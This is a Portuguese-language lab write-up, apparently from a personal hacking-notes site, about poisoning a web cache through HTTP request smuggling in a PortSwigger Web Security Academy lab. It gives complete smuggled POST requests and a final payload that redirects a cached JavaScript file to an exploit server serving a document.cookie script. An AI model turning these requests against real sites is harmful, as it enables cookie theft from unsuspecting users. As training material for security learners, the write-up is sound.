> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# Envenenamento de Cache Web via Contrabando de Requisições HTTP

Notas sobre Envenenamento de Cache Web via Contrabando de Requisições HTTP para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Explorando o contrabando de requisições HTTP para realizar envenenamento de cache da web

O front-end e o back-end tratam as solicitações HTTP de forma diferente. / O front-end **não oferece suporte a codificação chunked** e algumas respostas são **armazenadas em cache**.

O objetivo é realizar um ataque de **smuggling de requisições** permitindo envenenar o cache\*\*: em uma consulta subsequente a um arquivo JavaScript, a vítima deve ser redirecionada para o servidor de exploração, que retornará um script exibindo `document.cookie`.

O laboratório simula automaticamente um usuário vítima: para todos os poucos POST requests que enviamos, a vítima faz sua própria requisição.

#### Payload no Servidor

Preparamos a resposta JavaScript maliciosa:

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ade7f54c0ba51cab7a19628a7cc12e2fb605309%2F%7B688B2736-C0F5-48E8-BB9B-1A9FA1348AF4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Informações sobre o arquivo tracking.js

Observa-se que o recurso fica oculto por 30 segundos\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cb9227d4292db375cc57c103c528e04f4ad5d36%2F%7BE0D1C846-9B3F-41B4-86C5-64492B192A04%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Análise do comportamento do botão Post-next

* O `postId` o parâmetro permanece o mesmo.
* Ao clicar, a aplicação faz um redirecionamento para o próximo post.

Exemplo de uma solicitação que aciona esse redirecionamento:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a83c168f0727c6632564a7028c91db724b56eaea%2Fimage%20(326).png?alt=media" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Teste: A
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69ff1eb3b37df22c7c9f77af583b022a20cb5d27%2F%7BD0417941-AAAC-4DB7-ADEE-8672C4CC1334%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Teste: Injetando um cabeçalho Host arbitrário

Ao substituir o host da solicitação interna:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af4530770bece773cef79e784e97130b3ea26139%2F%7B9374C948-EB94-42D9-926D-8C408050753D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-65783151f4e83228b1bb0e5b7613006ef36c6d80%2F%7B36D31FF1-CF50-4E40-8F5D-E481E16E0F0E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Payload final para redirecionar para nosso servidor de exploração

Uma solicitação GET interna contendo nosso conteúdo controlado **Host** é injetada:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

Assim que a vítima carregar o recurso JavaScript armazenado em cache, o cache retornará **por 30 segundos** nossa resposta modificada, acionando:

```javascript
alert(document.cookie)
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41ab73925af1dbb7f23c9e75112cd87adc86598c%2F%7B860571D4-0B89-4DEC-B5B0-311E0187CFE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2306ee05f8c6f9a6b685dff72cc726a2865d2481%2F%7B540403E5-0DAB-4B4B-87F9-9466F806A10A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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